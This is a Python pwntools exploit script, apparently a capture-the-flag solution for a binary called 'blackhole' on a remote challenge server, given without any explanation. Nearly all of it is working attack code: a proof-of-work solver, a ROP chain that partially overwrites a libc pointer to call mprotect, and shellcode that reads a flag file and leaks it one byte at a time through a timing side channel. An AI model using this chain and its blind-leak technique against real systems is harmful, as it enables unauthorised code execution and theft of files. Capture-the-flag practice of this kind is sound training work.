1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210
|
from pwn import * import time import os from hashlib import sha256
context.arch = 'amd64'
def start_new_program(): return process(('./blackhole', ))
def start_new_program(): program = remote('202.120.7.203', 666) chal = program.recvuntil('\n')[:-1] log.info(chal) for i in xrange(0x100000000): if sha256(chal + p32(i)).hexdigest().startswith('00000'): sol = p32(i) break log.info(repr(sol)) program.send(sol) return program
def fuckflag(): flag = ''
for i in range(55, 70): log.info('flag=' + flag) l = 32 r = 126 old = None new = None while True: mid = (l + r) // 2 program = start_new_program() if guess(program, 1, i, mid): l = mid + 1 else: r = mid program.close() old = new new = mid if old == new: flag += chr(old) break if flag[-1] == '}': break log.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!') log.info('flag=' + flag)
def guess(program, op, n, ch): payload = guess_payload(op, n, ch) log.info('len=0x%x' % len(payload)) payload = payload.ljust(0x8000 - 1, '\x00') program.sendline(payload) sleep(0.5) opc1 = ['=', '>', '<'] opc2 = ['!=', '<=', '>='] try: program.sendline('fuck!') except: log.info('flag[%d]%s%c' % (n, opc1[op], ch)) return True log.info('flag[%d]%s%c' % (n, opc2[op], ch)) return False
def guess_payload(op, n, ch): shellcode1 = asm(shellcraft.amd64.linux.open('flag')) shellcode1 += asm('''mov rbx, rax''') shellcode1 +=asm(shellcraft.amd64.linux.read('rbx', 0x601500, 70)) shellcode2 = asm(''' mov rax, 0x%x xor rbx, rbx mov bl, byte ptr [rax] ''' % (0x601500 + n, )) if op == 0: shellcode2 += asm(''' fuck: cmp bl, 0x%x jnz fuck ''' % ch) elif op == 1: shellcode2 += asm(''' fuck: cmp bl, 0x%x jng fuck ''' % ch) elif op == 2: shellcode2 += asm(''' fuck: cmp bl, 0x%x jnl fuck ''' % ch) shellcode3 = asm(shellcraft.amd64.linux.exit(0)) payload = make_shellcode(shellcode1 + shellcode2 + shellcode3) return payload
def make_shellcode(shellcode): ''' remote libc read .text:00000000000DB6D0 cmp rax, 0FFFFFFFFFFFFF001h
mprotect 0xE44D0 '''
payload1 = 'a'*0x20 + p64(1) payload1 += p64(0x400A4c) payload1 += p64(0x0601048) payload1 += p64(1) payload1 += p64(0x00601040) payload1 += p64(0) payload1 += p64(0x00400A30) payload1 += 'a'*8 payload1 += p64(0) payload1 += p64(1) payload1 += p64(0x0601048) payload1 += p64(0xa) payload1 += p64(0x0601068) payload1 += p64(0) payload1 += p64(0x04009A7) payload1 = payload1.ljust(0x100, '\x00')
payload2 = '\x85'
payload3 = 'a'*0x20 + p64(1) payload3 += p64(0x00400A30) payload3 += 'a'*8 payload3 += p64(0) payload3 += p64(1) payload3 += p64(0x00601040) payload3 += p64(0x7) payload3 += p64(0x1000) payload3 += p64(0x601000) payload3 += p64(0x00400A30) payload3 += 'a'*8 payload3 += p64(0) payload3 += p64(1) payload3 += p64(0x0601048) payload3 += p64(0x200) payload3 += p64(0x601100) payload3 += p64(0) payload3 += p64(0x04009A7) payload3 = payload3.ljust(0x100, '\x00')
payload4 = 'a'*0xa
payload5 = 'a'*0x20 + p64(1) payload5 += p64(0x00400A30) payload5 += 'a'*8*7 payload5 += p64(0x601100) payload5 = payload5.ljust(0x100, '\x00')
payload6 = shellcode payload6 = payload6.ljust(0x200, '\x00')
payload = payload1 + payload2 + payload3 + payload4 + payload5 + payload6
return payload
def main(): fuckflag()
if __name__ == '__main__': main()
|